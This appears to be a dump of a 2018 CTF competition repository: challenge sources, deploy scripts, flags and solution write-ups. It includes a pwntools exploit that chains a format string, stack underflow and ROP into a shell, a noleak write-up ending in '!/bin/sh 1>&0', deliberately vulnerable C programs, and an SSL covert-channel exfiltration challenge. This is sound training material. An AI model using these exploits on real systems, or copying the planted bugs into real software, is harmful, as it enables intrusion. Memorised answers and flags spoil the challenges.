SCMP_SYS(rt_sigaction), 0); 69 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(nanosleep), 0); 70 | 71 | if (seccomp_load(ctx) < 0){ 72 | seccomp_release(ctx); 73 | printf("seccomp error\n"); 74 | exit(0); 75 | } 76 | seccomp_release(ctx); 77 | } 78 | 79 | void queue_msg(char* msg){ 80 | PMSGQ tmp = (PMSGQ)malloc(sizeof(MSGQ)); 81 | memset(tmp, 0, sizeof(MSGQ)); 82 | tmp->msg = malloc(512); 83 | memset(tmp->msg, 0, 512); 84 | snprintf(tmp->msg, 512, "%s", msg); 85 | tmp->next = g_head; 86 | g_head = tmp; 87 | } 88 | 89 | void draw_list_window(WINDOW* win){ 90 | int i=0; 91 | if(!lock){ 92 | wclear(win); 93 | 94 | lock++; 95 | for(i=0; imsg); 113 | i++; 114 | tmp = tmp->next; 115 | if(i > RECV_H-2) break; 116 | } 117 | box(win, 0, 0); 118 | wrefresh(win); 119 | lock--; 120 | } 121 | } 122 | 123 | void trim(char* s){ 124 | while(s[strlen(s)-1]=='\n' || s[strlen(s)-1]==' '){ 125 | s[strlen(s)-1]=0; 126 | } 127 | } 128 | 129 | char* cursewords[] = {"beach", "duck", "sheet", 0}; 130 | char* nicerwords[] = {"puppy", "love", "goood", 0}; 131 | void* server_thread(void* param){ 132 | sandbox(); 133 | int i=0; 134 | PMSGQ tmp; 135 | char* p; 136 | char* p2; 137 | char buf[100]; 138 | WINDOW* cli_win = (WINDOW*)param; 139 | g_server_win = newwin(RECV_H, RECV_W, RECV_Y, RECV_X); 140 | draw_list_window(g_server_win); 141 | while(1){ 142 | usleep(1000*100); 143 | tmp = g_head; 144 | while(tmp != 0){ 145 | i=0; 146 | // check for curse words every secs. 147 | for(p = cursewords[i]; p; p = cursewords[++i]){ 148 | if(p2 = strstr(tmp->msg, p)){ 149 | strncpy(p2, nicerwords[i], strlen(nicerwords[i])); 150 | sprintf(buf, "bad word '%s' is replaced to nice word '%s'\n", p, nicerwords[i]); 151 | strcat(g_log, buf); 152 | } 153 | } 154 | tmp = tmp->next; 155 | } 156 | } 157 | } 158 | 159 | void* list_thread(void* param){ 160 | sandbox(); 161 | WINDOW* cli_win = (WINDOW*)param; 162 | WINDOW* win = newwin(LIST_H, LIST_W, LIST_Y, LIST_X); 163 | g_list_win = win; 164 | draw_list_window(win); 165 | while(1){ 166 | sleep(10); 167 | } 168 | } 169 | 170 | char* get_input(WINDOW* win){ 171 | char c; 172 | char buf[64]; 173 | memset(buf, 0, 64); 174 | strncpy(buf, prompt, strlen(prompt)); 175 | char* res = malloc(64); 176 | int i=strlen(prompt); 177 | 178 | while(c = mvgetch(SEND_Y+1, SEND_X+1+i)){ 179 | if(c=='\n'){ 180 | buf[i] = 0; 181 | break; 182 | } 183 | if(c==127){ // ncurses back space ascii number: 127 184 | if(i==strlen(prompt)) continue; 185 | i--; 186 | if(!lock){ 187 | lock++; 188 | box(win, 0, 0); 189 | mvwprintw(win, 1, 1+i, " "); 190 | wrefresh(win); 191 | lock--; 192 | } 193 | continue; 194 | } 195 | 196 | if(i<38){ 197 | buf[i++] = c; 198 | } 199 | if(!lock){ 200 | lock++; 201 | box(win, 0, 0); 202 | mvwprintw(win, 1, 1, "%s", buf); 203 | wrefresh(win); 204 | lock--; 205 | } 206 | } 207 | 208 | strcpy(res, buf); 209 | return res; 210 | } 211 | 212 | void loop(WINDOW* win){ 213 | char buf[16]; 214 | char* cmd2; 215 | while(1){ 216 | wclear(win); 217 | if(g_server_win) draw_server_window(g_server_win); 218 | if(g_list_win) draw_list_window(g_list_win); 219 | if(!lock){ 220 | lock++; 221 | box(win, 0, 0); 222 | mvwprintw(win, 1, 1, "%s", prompt); 223 | wrefresh(win); // only refresh the window 224 | lock--; 225 | } 226 | 227 | cmd2 = get_input(win); 228 | if(!strcmp(cmd2+strlen(prompt), "/quit")){ 229 | endwin(); 230 | printf("ncurses closed\n"); 231 | free(g_id); 232 | free(g_pw); 233 | return; 234 | } 235 | if(!strcmp(cmd2+strlen(prompt), "/addbot")){ 236 | g_bot_n++; 237 | continue; 238 | } 239 | queue_msg(cmd2); 240 | } 241 | buf[0]=0; 242 | } 243 | 244 | void main(int argc, char* argv[]){ 245 | char buf[16]; 246 | 247 | putenv("TERM=xterm"); 248 | pthread_t th1=0; 249 | pthread_t th2=0; 250 | 251 | setvbuf(stdout, 0, _IONBF, 0); 252 | setvbuf(stdin, 0, _IOLBF, 0); 253 | 254 | // init stuffs... 255 | memset(g_buf, 0, 1024); 256 | prompt = &g_buf[1000]; 257 | g_log = g_buf; 258 | strcpy(prompt, "> "); 259 | g_bot_n=1; 260 | g_head = 0; 261 | srand(time(0)); 262 | g_id = malloc(32); 263 | g_pw = malloc(32); 264 | printf("enter your ID: "); 265 | scanf("%32s", g_id); 266 | printf("enter your PW: "); 267 | scanf("%32s", g_pw); 268 | trim(g_id); 269 | trim(g_pw); 270 | 271 | // bootup NCURSES! 272 | initscr(); 273 | noecho(); 274 | 275 | /* setup client window */ 276 | WINDOW* win = newwin(SEND_H, SEND_W, SEND_Y, SEND_X); 277 | refresh(); // refresh entire screen 278 | 279 | pthread_create( &th1, 0, server_thread, (void*)win); 280 | pthread_detach( th1 ); 281 | 282 | pthread_create( &th2, 0, list_thread, (void*)win); 283 | pthread_detach( th2 ); 284 | 285 | // draw a box at (y,x) 286 | box(win, 0, 0); 287 | 288 | usleep(30000); 289 | loop(win); 290 | buf[0]=0; 291 | } 292 | 293 | 294 | -------------------------------------------------------------------------------- /attack/dvchat/prob/x.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.arch = 'amd64' 3 | #p = remote('127.0.0.1', 9005) 4 | p = process('./dvchat') 5 | #raw_input(str(p.proc.pid)) 6 | 7 | scanf = 0x401120 8 | free_got = 0x603018 9 | 10 | p.recv(8192) 11 | p.sendline('%14$s') 12 | 13 | p.recv(8192) 14 | p.sendline('/bin/sh;') 15 | 16 | # fill up buffer 17 | for i in xrange(4): 18 | sleep(.1) 19 | p.recv(8192) 20 | p.sendline('duck'*5) 21 | 22 | # overflow prompt message 23 | p.recv(8192) 24 | p.sendline('beach') 25 | 26 | sleep(.5) 27 | # stack underflow! 28 | p.recv(8192) 29 | payload = '' 30 | payload += '\x7f'*2 # bypass length check! 31 | payload += '\x20\x11\x40' # now we controll buf start. 32 | payload += '\x7f'*(3+8) # trigger stack underflow! 33 | payload += '\x18\x30\x60' 34 | p.sendline(payload) 35 | 36 | sleep(1) 37 | p.recv(81920) 38 | print 'send quit?' 39 | raw_input() 40 | p.sendline('/quit') 41 | p.recvuntil('ncurses closed\n') 42 | 43 | ''' 44 | pattern 5fc3 found at 0x401f83 45 | POP RDI; RET; 46 | ''' 47 | rdiret = 0x401f83 48 | ret = 0x401f84 49 | puts = 0x400fc0 50 | libc_start_got = 0x6030c0 51 | stage2 = 0x401c52 52 | # 1st ROP. (leak libc and go to stage2) 53 | payload = 'deadbeef' 54 | payload += pack(rdiret) 55 | payload += pack(libc_start_got) 56 | payload += pack(puts) 57 | payload += pack(ret) # for alignment 58 | payload += pack(stage2) 59 | payload += pack(0xdeadbeef)*8 60 | payload += pack(free_got) # this is for next scanf(%$14s) 61 | p.sendline(payload) 62 | sleep(1) 63 | 64 | offset = 0x24C50 # libc_start + offset = system. 65 | leak = p.recv(1024) 66 | leak = int(leak[:6][::-1].encode('hex'), 16) 67 | system = leak + offset 68 | print 'system at {0}'.format(hex(system)) 69 | 70 | payload = '' 71 | payload += pack(system) 72 | p.sendline(payload) 73 | p.interactive() 74 | 75 | 76 | -------------------------------------------------------------------------------- /attack/noleak/README.md: -------------------------------------------------------------------------------- 1 | # noleak 2 | 3 | ## Description 4 | Please info-leak me! 5 | (ip : port, binary link) 6 | 7 | ## Challenge setup 8 | ./deploy/run.sh 9 | 10 | ## Exploit 11 | 12 | ### phase 1 : find bug 13 | There are 3 menus. 14 | 15 | menu1 gives heap leak by leaking uninitialized bytes. but this is useless.. 16 | 17 | In menu3, there is stack bof. with 64bit canary 18 | 19 | while BOF, attacker can overwrite idx. so BOF can jump and bypass canary 20 | 21 | while doing this, attacker needs to prepare proper heap layout 22 | 23 | menu1 is used in here. 24 | 25 | menu2 is dummy function as a ruse. 26 | 27 | there is system function in binary but there is no 'sh' argument. 28 | 29 | and there is no leak. this is the challenging part. 30 | 31 | 32 | 33 | 34 | ### phase 2 : start ROP 35 | proper heap layout and idx control can bypass canary and start ROP 36 | 37 | system is at plt, however there is no 'sh' argument. 38 | 39 | to find this, attacker needs to leak libc. but this is impossible (stdout,err is closed) 40 | 41 | solution is to use 'ed' (which exists in non-pie base) and do command injection there. 42 | 43 | alternatively, seed value is stored in bss. attacker can 16-bit brute to use 'sh' 44 | 45 | 46 | ### phase 3 : get shell 47 | inside 'ed', user can execute !/bin/sh 1>&0 48 | 49 | and get shell. (this only works when binary is xinet.d so fd0 is socket) 50 | 51 | -------------------------------------------------------------------------------- /attack/noleak/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | ENV USER noleak 4 | ENV FLAG flag_166903c90eadca6ffac515cd8a6787f2 5 | 6 | RUN apt-get update 7 | RUN apt-get install -y ed 8 | 9 | #Adduser 10 | RUN useradd -b /home/noleak noleak 11 | 12 | #Copy Binary 13 | ADD $USER /home/$USER/$USER 14 | 15 | #Set Flag 16 | ADD flag /home/$USER/$FLAG 17 | 18 | #Set Priviledge 19 | RUN chown -R root:$USER /home/$USER 20 | RUN chmod 750 /home/$USER 21 | RUN chmod 750 /home/$USER/$USER 22 | RUN chmod 440 /home/$USER/$FLAG 23 | 24 | #COPY start script 25 | ADD ./super.pl / 26 | 27 | WORKDIR /home/$USER 28 | CMD ["perl", "/super.pl"] 29 | 30 | EXPOSE 7777 31 | 32 | 33 | -------------------------------------------------------------------------------- /attack/noleak/deploy/flag: -------------------------------------------------------------------------------- 1 | SCTF{PwNaBlE.KrIsTheBesT!} 2 | -------------------------------------------------------------------------------- /attack/noleak/deploy/noleak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/noleak/deploy/noleak -------------------------------------------------------------------------------- /attack/noleak/deploy/run.sh: -------------------------------------------------------------------------------- 1 | docker build -t noleak_user . 2 | docker rm -f noleak 3 | docker run -d -p 7777:7777 --name noleak noleak_user 4 | -------------------------------------------------------------------------------- /attack/noleak/deploy/super.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use Socket; 3 | $port = 7777; 4 | @exec = ("su", "noleak", "-c", "/home/noleak/noleak"); 5 | socket(SERVER, PF_INET, SOCK_STREAM, 6); 6 | setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)); 7 | bind(SERVER, sockaddr_in($port, INADDR_ANY)); 8 | listen(SERVER,SOMAXCONN); 9 | $SIG{"CHLD"} = "IGNORE"; 10 | while($addr = accept CLIENT, SERVER){ 11 | $| = 1; 12 | ($port, $packed_ip) = sockaddr_in($addr); 13 | $datestring = localtime(); 14 | $ip = inet_ntoa($packed_ip); 15 | print "$ip: $port connected($datestring)\n"; 16 | fork || do { 17 | $| = 1; 18 | close SERVER; 19 | open STDIN, "<&CLIENT"; 20 | open STDOUT, ">&CLIENT"; 21 | # open STDERR, ">&CLIENT"; 22 | close CLIENT; 23 | exec @exec; 24 | exit 0; 25 | }; 26 | close CLIENT; 27 | } 28 | close SERVER; 29 | -------------------------------------------------------------------------------- /attack/noleak/src/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -o noleak noleak.c -no-pie 3 | -------------------------------------------------------------------------------- /attack/noleak/src/noleak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/noleak/src/noleak -------------------------------------------------------------------------------- /attack/noleak/src/noleak.c: -------------------------------------------------------------------------------- 1 | // gcc -o noleak noleak.c 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define UINT unsigned int 8 | 9 | int menu1(){ 10 | printf("give me bytes\n"); 11 | char* hbuf = malloc(200); 12 | fgets(hbuf, 150, stdin); 13 | 14 | printf("info leak with uninitialized bytes?\n"); 15 | fwrite(hbuf, 4, 1, stdout); 16 | free(hbuf); 17 | return 0; 18 | } 19 | 20 | int menu2(){ 21 | char a[1]={0}; 22 | int buf[99]; 23 | int hash=0; 24 | int i; 25 | for(i=0; i<99; i++){ 26 | buf[i] = 0x31337; 27 | } 28 | for(i=0; i<100; i++){ 29 | hash += buf[i]; 30 | } 31 | printf("info leak with oob read? %x\n", hash); 32 | return 0; 33 | } 34 | 35 | int menu3(){ 36 | char buf[100]; 37 | int* idx = &buf[92]; 38 | memset(buf, 0, 100); 39 | 40 | // prevent leak 41 | printf("you may start stack BOF but...\n"); 42 | printf("no memory leak from now!\n"); 43 | close(1); 44 | close(2); 45 | 46 | char* hbuf = malloc(100); 47 | fgets(hbuf, 116, stdin); 48 | while(*idx < 200){ 49 | buf[*idx] = hbuf[*idx]; 50 | (*idx)++; 51 | } 52 | stdin = 0xdeadbeef; 53 | return 0; 54 | } 55 | 56 | unsigned int seed; 57 | int main(){ 58 | char buf[24]; 59 | setvbuf(stdout, 0, _IONBF, 0); 60 | setvbuf(stdin, 0, _IOLBF, 0); 61 | 62 | FILE* fp = fopen("/dev/urandom", "r"); 63 | if(fp==0){ 64 | printf("cannot open /dev/urandom\n"); 65 | exit(0); 66 | } 67 | fread(&seed, 4, 1, fp); 68 | fclose(fp); 69 | 70 | printf("making less predictable heap\n"); 71 | malloc(seed % 0x20000); // increase heap entropy 72 | 73 | UINT menu=0; 74 | while(1){ 75 | printf("\n- select menu -\n"); 76 | printf("1. : leak memory contents\n"); 77 | printf("2. : leak stack canary\n"); 78 | printf("3. : start bof\n"); 79 | printf("4. : exit\n"); 80 | printf("> "); 81 | 82 | scanf("%d", &menu); 83 | getchar(); // eat newline 84 | 85 | switch(menu){ 86 | case 1: 87 | menu1(); 88 | break; 89 | case 2: 90 | menu2(); 91 | break; 92 | case 3: 93 | menu3(); 94 | break; 95 | case 0xfeedbeef: 96 | system("echo flag"); 97 | default: 98 | exit(0); 99 | break; 100 | } 101 | } 102 | 103 | printf("bye\n"); 104 | return 0; 105 | } 106 | 107 | 108 | -------------------------------------------------------------------------------- /attack/noleak/src/super.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use Socket; 3 | $port = 7777; 4 | @exec = ("su", "noleak", "-c", "/home/noleak/noleak"); 5 | socket(SERVER, PF_INET, SOCK_STREAM, 6); 6 | setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)); 7 | bind(SERVER, sockaddr_in($port, INADDR_ANY)); 8 | listen(SERVER,SOMAXCONN); 9 | $SIG{"CHLD"} = "IGNORE"; 10 | while($addr = accept CLIENT, SERVER){ 11 | $| = 1; 12 | ($port, $packed_ip) = sockaddr_in($addr); 13 | $datestring = localtime(); 14 | $ip = inet_ntoa($packed_ip); 15 | print "$ip: $port connected($datestring)\n"; 16 | fork || do { 17 | $| = 1; 18 | close SERVER; 19 | open STDIN, "<&CLIENT"; 20 | open STDOUT, ">&CLIENT"; 21 | open STDERR, ">&CLIENT"; 22 | close CLIENT; 23 | exec @exec; 24 | exit 0; 25 | }; 26 | close CLIENT; 27 | } 28 | close SERVER; 29 | -------------------------------------------------------------------------------- /coding/HideInSSL/README.md: -------------------------------------------------------------------------------- 1 | # HideInSSL 2 | 3 | ## Description 4 | 5 | ``` 6 | Hacker stole the flag through the SSL protocol. 7 | (pcap download link) 8 | ``` 9 | 10 | ## Flag 11 | ``` 12 | SCTF{H3llo_Cov3rt_S5L} 13 | ``` 14 | 15 | ## How to solve 16 | 17 | 1. If you see the packets, you can find out what many SSL "Client Hello" 18 | packets are sent from 192.168.0.107 to 192.168.0.128 server. 19 | 2. Filter the packets with rule "(src host 192.168.0.107 && dst host 20 | 192.168.0.128) || (src host 192.168.0.128 && dst host 192.168.0.107)" 21 | 3. Picture files are transferred by using SSL covert channel ("Random" field 22 | in Secure Socket Layer). And One file was transferred at each session. 23 | 4. And sometimes, when the server responds '0' (not '1'), then the client 24 | resent the previous message. 25 | 5. Make file-extractor by considering above points. 26 | -------------------------------------------------------------------------------- /coding/HideInSSL/prob/SSL_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import socket 5 | import time 6 | import struct 7 | 8 | p = lambda x : struct.pack('.FromString expr 9 | |> Parser.start Lexer.read 10 | match res with 11 | | None -> failwith "Parse Error" 12 | | Some x -> x 13 | 14 | let rec pp = function 15 | | Var (v) -> v 16 | | Abs (v, body) -> sprintf "λ%s.%s" v (pp body) 17 | | App (a, b) -> sprintf "(%s) (%s)" (pp a) (pp b) 18 | 19 | 20 | module Eval = 21 | open System.Threading.Tasks 22 | open System 23 | 24 | let rec get_fv = function 25 | | Var (v) -> [v] 26 | | Abs (s, t) -> List.filter (fun x-> x <> s) (get_fv t) 27 | | App (t, u) -> 28 | let f1 = get_fv t 29 | let f2 = get_fv u 30 | set (List.append f1 f2) |> List.ofSeq 31 | 32 | let rec rename n l = 33 | if List.exists (fun x -> x = n) l then 34 | rename (n + "'") l 35 | else 36 | n 37 | 38 | let rec subst var term = function 39 | | Var (s) when s = var -> term 40 | | Var (s) -> Var (s) 41 | | Abs (s, t) -> 42 | let f_t = get_fv t 43 | let f_term = get_fv term 44 | if (s = var) then 45 | Abs (s, t) 46 | elif not (List.exists (fun x -> x = var) f_t) then 47 | Abs (s, t) 48 | elif List.exists (fun x -> x = s) f_term then 49 | let f = rename s (List.append f_t f_term) 50 | Abs (f, subst var term t) 51 | else 52 | Abs (s, subst var term t) 53 | | App (t, u) -> App (subst var term t, subst var term u) 54 | 55 | let reduxible = function 56 | | App (Abs(_, _), _) -> true 57 | | _ -> false 58 | 59 | 60 | let rec eval_step t = 61 | if reduxible t then 62 | ``β-reduction`` t 63 | else 64 | match t with 65 | | Var (s) -> Var(s) 66 | | Abs (s, t) -> Abs(s, eval_step t) 67 | | App (t, u) -> 68 | let n_t = eval_step t 69 | if n_t = t then App (t, eval_step u) else App (n_t, u) 70 | and ``β-reduction`` = function 71 | | App (Abs(s, t), u) -> subst s u t 72 | | _ as t -> t 73 | 74 | let rec eval t = 75 | // When state is stable, return 76 | let n_t = eval_step t 77 | if n_t = t then t else eval n_t 78 | 79 | let evalWithTimeout timeout expr = 80 | let task = Task.Run(fun () -> eval expr) 81 | if task.Wait (TimeSpan.FromMilliseconds (float (timeout))) then 82 | task.Result |> Some 83 | else 84 | None 85 | 86 | module Church = 87 | let rec private count num v1 v2 = function 88 | | Var (v) when v=v2 -> num |> Some 89 | | App (v, body) -> 90 | match v with 91 | | Var (v) when v=v1 -> count (num + 1) v1 v2 body 92 | | _ -> None 93 | | _ -> None 94 | 95 | let toInt = function 96 | | Abs (v1, body) -> 97 | match body with 98 | | Abs (v2, body) when v1<>v2 -> count 0 v1 v2 body 99 | | _ -> None 100 | | _ -> None 101 | 102 | let ofInt (i: int) = 103 | let rec apply i = 104 | if i = 0 then (Var "x") else Var "f" <<< (apply (i - 1)) 105 | Abs ("f", Abs ("x", apply (int i))) 106 | 107 | let ofString (s: string) = 108 | let encoder acc elem = 109 | Abs("x", Abs("y", Abs("z", Var("z") <<< Var("x") <<< Var("y")))) 110 | <<< (ofInt elem) <<< acc 111 | 112 | let castBitArr (x: char) = 113 | let x = int(x) 114 | Array.init 8 (fun i -> (x >>> i) &&& 1) 115 | 116 | s.ToCharArray () 117 | |> Array.map castBitArr 118 | |> Array.fold (fun acc x -> Array.concat [x; acc]) Array.empty 119 | |> Array.fold encoder (Abs("x", Abs("y", Var("y")))) 120 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/Lambda/Lambda.fsproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | Library 4 | netcoreapp2.0 5 | 6 | 7 | 8 | 9 | --module Parser 10 | 11 | 12 | --unicode 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/Lambda/Lexer.fsl: -------------------------------------------------------------------------------- 1 | //This lexer has been writen with help of "Real world OCaml" book By Yaron Minsky, Anil Madhavapeddy, Jason Hickey (chapter 16) 2 | { 3 | 4 | module Lexer 5 | 6 | open Microsoft.FSharp.Text.Lexing 7 | open System 8 | open Parser 9 | 10 | exception SyntaxError of string 11 | 12 | let lexeme = LexBuffer.LexemeString 13 | 14 | let newline (lexbuf: LexBuffer<_>) = 15 | lexbuf.StartPos <- lexbuf.StartPos.NextLine 16 | } 17 | 18 | 19 | let LAMBDA = 'λ' 20 | let DOT = '.' 21 | let white = [' ' '\t']+ 22 | let newline = '\r' | '\n' | "\r\n" 23 | 24 | rule read = 25 | parse 26 | | white { WHITE } 27 | | newline { newline lexbuf; read lexbuf } 28 | | 'λ' { LAMBDA } 29 | | '.' { DOT } 30 | | '(' { LEFT_PAREN } 31 | | ')' { RIGHT_PAREN } 32 | | eof { EOF } 33 | | ['a'-'z' 'A'-'Z']['a'-'z' 'A'-'Z' '0'-'9']* { ID(lexeme lexbuf) } 34 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/Lambda/Parser.fsi: -------------------------------------------------------------------------------- 1 | // Signature file for parser generated by fsyacc 2 | module Parser 3 | type token = 4 | | WHITE 5 | | EOF 6 | | DOT 7 | | RIGHT_PAREN 8 | | LEFT_PAREN 9 | | LAMBDA 10 | | VAR of (string) 11 | | ID of (string) 12 | type tokenId = 13 | | TOKEN_WHITE 14 | | TOKEN_EOF 15 | | TOKEN_DOT 16 | | TOKEN_RIGHT_PAREN 17 | | TOKEN_LEFT_PAREN 18 | | TOKEN_LAMBDA 19 | | TOKEN_VAR 20 | | TOKEN_ID 21 | | TOKEN_end_of_input 22 | | TOKEN_error 23 | type nonTerminalId = 24 | | NONTERM__startstart 25 | | NONTERM_start 26 | | NONTERM_prog 27 | | NONTERM_term 28 | | NONTERM_application 29 | | NONTERM_atom 30 | /// This function maps tokens to integer indexes 31 | val tagOfToken: token -> int 32 | 33 | /// This function maps integer indexes to symbolic token ids 34 | val tokenTagToTokenId: int -> tokenId 35 | 36 | /// This function maps production indexes returned in syntax errors to strings representing the non terminal that would be produced by that production 37 | val prodIdxToNonTerminal: int -> nonTerminalId 38 | 39 | /// This function gets the name of a token as a string 40 | val token_to_string: token -> string 41 | val start : (Microsoft.FSharp.Text.Lexing.LexBuffer<'cty> -> token) -> Microsoft.FSharp.Text.Lexing.LexBuffer<'cty> -> (Lambda.AST.ast option) 42 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/Lambda/Parser.fsy: -------------------------------------------------------------------------------- 1 | //This parser has been writen with help of "Real world OCaml" book By Yaron Minsky, Anil Madhavapeddy, Jason Hickey (chapter 16) 2 | %{ 3 | open Lambda.AST 4 | %} 5 | 6 | %start start 7 | 8 | %token ID 9 | %token VAR 10 | %token LAMBDA 11 | %token LEFT_PAREN 12 | %token RIGHT_PAREN 13 | %token DOT 14 | %token EOF 15 | %token WHITE 16 | 17 | %type start 18 | 19 | %% 20 | 21 | start: prog { $1 } 22 | 23 | prog: 24 | | EOF { None } 25 | | term { Some $1 } 26 | | WHITE { None } 27 | 28 | term: 29 | | LAMBDA ID DOT term { Abs ($2, $4) } 30 | | application { $1 } 31 | 32 | application: 33 | | application WHITE atom { App ($1, $3) } 34 | | atom { $1 } 35 | | WHITE application { $2 } 36 | 37 | atom: 38 | | ID { Var $1 } 39 | | LEFT_PAREN term RIGHT_PAREN { $2 } 40 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/chal.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | stdbuf -i0 -o0 dotnet /chal/bin/release/netcoreapp2.0/chal.dll 3 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/chal.xinetd: -------------------------------------------------------------------------------- 1 | service chal 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 42 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = / /chal.sh 14 | # safety options 15 | per_source = 10 # the maximum instances of this service per source IP address 16 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 17 | #rlimit_as = 1024M # the Address Space resource limit for the service 18 | #access_times = 2:00-9:00 12:00-24:00 19 | } 20 | 21 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/chal/Program.fs: -------------------------------------------------------------------------------- 1 | open Lambda.AST 2 | 3 | let flag = "SCTF{S0_L0ng_4nd_7h4nks_f0r_A11_7h3_L4mbd4}" 4 | 5 | [] 6 | let main argv = 7 | System.Console.Write ">>> " 8 | try 9 | let r = System.Console.ReadLine () |> Lambda.Util.parse 10 | let result = r <<< (Lambda.Church.ofString flag) 11 | |> Lambda.Eval.evalWithTimeout 3000 12 | match result with 13 | | Some (x) -> 14 | System.Console.WriteLine "The result seems to be Object!" 15 | System.Console.WriteLine "Good Job!" 16 | | None -> 17 | System.Console.WriteLine "Timeout!" 18 | with 19 | | _ -> System.Console.WriteLine "Illegal input" 20 | 0 21 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/chal/chal.fsproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Exe 5 | netcoreapp2.0 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/repl.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | stdbuf -i0 -o0 dotnet /repl/bin/repl/netcoreapp2.0/repl.dll 3 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/repl.xinetd: -------------------------------------------------------------------------------- 1 | service repl 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 4242 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = / /repl.sh 14 | # safety options 15 | per_source = 10 # the maximum instances of this service per source IP address 16 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 17 | #rlimit_as = 1024M # the Address Space resource limit for the service 18 | #access_times = 2:00-9:00 12:00-24:00 19 | } 20 | 21 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/repl/Program.fs: -------------------------------------------------------------------------------- 1 | module repl 2 | 3 | let showResult res = 4 | match Lambda.Church.toInt res with 5 | | Some x -> 6 | sprintf "%d: %s" x (Lambda.Util.pp res) 7 | |> System.Console.WriteLine 8 | | None -> 9 | sprintf "Object: %s" (Lambda.Util.pp res) 10 | |> System.Console.WriteLine 11 | 12 | let rec repl () = 13 | System.Console.Write ("[λ]-> ") 14 | match System.Console.ReadLine () with 15 | | "exit" | "Exit" -> 0 16 | | _ as e -> 17 | try 18 | let res = Lambda.Util.parse e |> Lambda.Eval.evalWithTimeout 5000 19 | match res with 20 | | Some x -> showResult x 21 | | None -> System.Console.WriteLine "Timeout" 22 | with 23 | | _ -> System.Console.WriteLine "Illegal input" 24 | repl() 25 | 26 | 27 | [] 28 | let main argv = 29 | repl () 30 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/repl/repl.fsproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Exe 5 | netcoreapp2.0 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | docker build -t beauty . 3 | docker run --name beauty -p42:42 -p4242:4242 --rm -it beauty 4 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | /etc/init.d/xinetd start; 6 | sleep infinity; 7 | -------------------------------------------------------------------------------- /coding/Lambda_Beauty/dist.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/coding/Lambda_Beauty/dist.zip -------------------------------------------------------------------------------- /coding/What_does_the_drone_say?/README.md: -------------------------------------------------------------------------------- 1 | # What does the drone say? 2 | 3 | ## Description 4 | 5 | ``` 6 | Enemy's drones have been spotted again! Now, we need to know the drone's 7 | destination by analyzing the remote controller signal. We successfully hijacked 8 | one of them, and analyzed it. From the analysis, we found below information: 9 | - Modulation: FHSS-FSK 10 | - Frequency Band: 5.8 GHz 11 | - Minimum Carrier Frequency: 5.8025 GHz 12 | - Number of Hopping Channels: 20 13 | - Bandwidth of Each Channel: 5 MHz 14 | 15 | After getting this information we captured the live signal of the remote 16 | controller. We downconverted the 5.8 GHz band signal to the baseband using 17 | 200 MHz sampling rate. Would you please decode the signal? 18 | 19 | [Signal.gnuradio]() 20 | 21 | ``` 22 | 23 | ## How to solve 24 | 25 | All the necessary information is already given in the description. We only need 26 | to load the data, demodulate the signal, and detect the hopping sequence. Before 27 | start, you need to first look at 28 | (FSK)[https://en.wikipedia.org/wiki/Frequency-shift_keying] and 29 | (FHSS)[https://en.wikipedia.org/wiki/Frequency-hopping_spread_spectrum] . 30 | 31 | By monitoring the signal, you can easily identify that it is binary-FSK which 32 | only has two frequencies deviated from the carrier frequency. Therefore, you can 33 | convert the frequency sequence to '1' or '0' to get the data. 34 | 35 | Additionally, you need to identify the hopping 